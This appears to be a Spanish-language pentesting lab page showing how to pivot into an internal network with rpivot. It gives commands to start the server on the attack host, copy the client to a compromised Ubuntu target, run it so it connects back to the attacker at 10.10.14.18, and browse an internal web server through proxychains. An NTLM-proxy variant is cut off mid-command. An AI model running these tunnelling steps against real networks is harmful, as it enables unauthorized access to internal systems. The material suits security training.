Saltar a contenido

3

Rpivot es una herramienta de proxy SOCKS reverso escrita en Python para túneles SOCKS. Rpivot vincula una máquina dentro de una red corporativa a un servidor externo y expone el puerto local del cliente en el lado del servidor. Tomaremos el siguiente escenario, donde tenemos un servidor web en nuestra red interna (172.16.5.135), y queremos acceder a él usando el proxy de rpivot.

Podemos iniciar nuestro servidor de proxy SOCKS rpivot usando el siguiente comando para permitir que el cliente se conecte en el puerto 9999 y escuche en el puerto 9050 para conexiones de proxy pivot.

Cloning rpivot

sudo git clone https://github.com/klsecservices/rpivot.git

Installing Python2.7

sudo apt-get install python2.7

Podemos iniciar nuestro servidor de proxy SOCKS rpivot para conectarnos a nuestro cliente en el servidor Ubuntu comprometido usando server.py.

Running server.py from the Attack Host

python2.7 server.py --proxy-port 9050 --server-port 9999 --server-ip 0.0.0.0

Antes de ejecutar client.py, necesitaremos transferir rpivot al objetivo. Podemos hacerlo usando este comando SCP:

Transfering rpivot to the Target

scp -r rpivot ubuntu@<IpaddressOfTarget>:/home/ubuntu/

Running client.py from Pivot Target

ubuntu@WEB01:~/rpivot$ python2.7 client.py --server-ip 10.10.14.18 --server-port 9999

Backconnecting to server 10.10.14.18 port 9999

Confirming Connection is Established

New connection from host 10.129.202.64, source port 35226

Configuraremos proxychains para pivotar sobre nuestro servidor local en 127.0.0.1:9050 en nuestro host de ataque, que fue inicialmente iniciado por el servidor Python.

Finalmente, deberíamos poder acceder al servidor web en nuestro lado del servidor, que está alojado en la red interna de 172.16.5.0/23 en 172.16.5.135:80 usando proxychains y Firefox.

Browsing to the Target Webserver using Proxychains

proxychains firefox-esr 172.16.5.135:80

Similar al proxy pivot anterior, podría haber escenarios en los que no podamos pivotar directamente a un servidor externo (host de ataque) en la nube. Algunas organizaciones tienen HTTP-proxy con autenticación NTLM configurado con el Domain Controller. En tales casos, podemos proporcionar una opción adicional de autenticación NTLM a rpivot para autenticarse a través del proxy NTLM proporcionando un nombre de usuario y contraseña. En estos casos, podríamos usar client.py de rpivot de la siguiente manera:

Connecting to a Web Server using HTTP-Proxy & NTLM Auth

python client.py --server-ip <IPaddressofTargetWebServer> --server-port 8080 --ntlm-proxy-ip <IPaddressofProxy> --ntlm-proxy-port 8